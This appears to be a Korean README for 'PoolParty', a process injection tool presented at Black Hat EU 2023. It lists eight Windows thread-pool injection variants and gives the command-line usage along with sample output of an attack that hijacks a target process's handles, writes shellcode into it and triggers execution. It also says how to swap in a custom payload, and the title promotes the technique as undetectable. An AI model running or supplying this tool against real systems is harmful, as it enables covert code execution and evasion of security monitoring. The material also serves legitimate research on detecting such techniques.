
Windows 스레드 풀을 악용하는, 완전히 탐지 불가능한 프로세스 인젝션 기법 모음
Windows 스레드 풀을 악용한 완전 탐지 불가 프로세스 인젝션 기법 모음입니다. Black Hat EU 2023 브리핑에서 당신이 절대 잊지 못할 Pool Party: Windows 스레드 풀을 이용한 새로운 프로세스 인젝션 기법이라는 제목으로 발표되었습니다.
| 변종 ID | 변종 설명 |
|---|---|
| 1 | 대상 worker factory의 시작 루틴 덮어쓰기 |
| 2 | 대상 프로세스 스레드 풀에 TP_WORK 작업 항목 삽입 |
| 3 | 대상 프로세스 스레드 풀에 TP_WAIT 작업 항목 삽입 |
| 4 | 대상 프로세스 스레드 풀에 TP_IO 작업 항목 삽입 |
| 5 | 대상 프로세스 스레드 풀에 TP_ALPC 작업 항목 삽입 |
| 6 | 대상 프로세스 스레드 풀에 TP_JOB 작업 항목 삽입 |
| 7 | 대상 프로세스 스레드 풀에 TP_DIRECT 작업 항목 삽입 |
| 8 | 대상 프로세스 스레드 풀에 TP_TIMER 작업 항목 삽입 |
PoolParty.exe -V <변종 ID> -P <대상 PID>
프로세스 ID 1234에 TP_TIMER 작업 항목 삽입
>> PoolParty.exe -V 8 -P 1234
[info] 대상 프로세스 ID에 대한 PoolParty 공격 시작: 1234
[info] 대상 프로세스 핸들 획득: 00000000000000B8
[info] 대상 프로세스로부터 worker factory 핸들 탈취: 0000000000000058
[info] 대상 프로세스로부터 타이머 큐 핸들 탈취: 0000000000000054
[info] 대상 프로세스에 셸코드 메모리 할당: 00000281DBEF0000
[info] 대상 프로세스에 셸코드 작성 완료
[info] 대상 worker factory 기본 정보 획득
[info] 셸코드와 연결된 TP_TIMER 구조체 생성
[info] 대상 프로세스에 TP_TIMER 메모리 할당: 00000281DBF00000
[info] 대상 프로세스에 특수 제작된 TP_TIMER 구조체 작성
[info] 대상 프로세스의 TP_POOL 타이머 큐 목록 항목을 특수 제작된 TP_TIMER를 가리키도록 수정
[info] TppTimerQueueExpiration을 트리거하기 위해 타이머 큐가 만료되도록 설정
[info] PoolParty 공격 성공적으로 완료
기본 셸코드는 WinExec API를 통해 계산기를 실행합니다.
실행할 실행 파일을 사용자 정의하려면 main.cpp 파일에 있는 g_Shellcode 변수의 끝에 있는 경로를 변경하세요.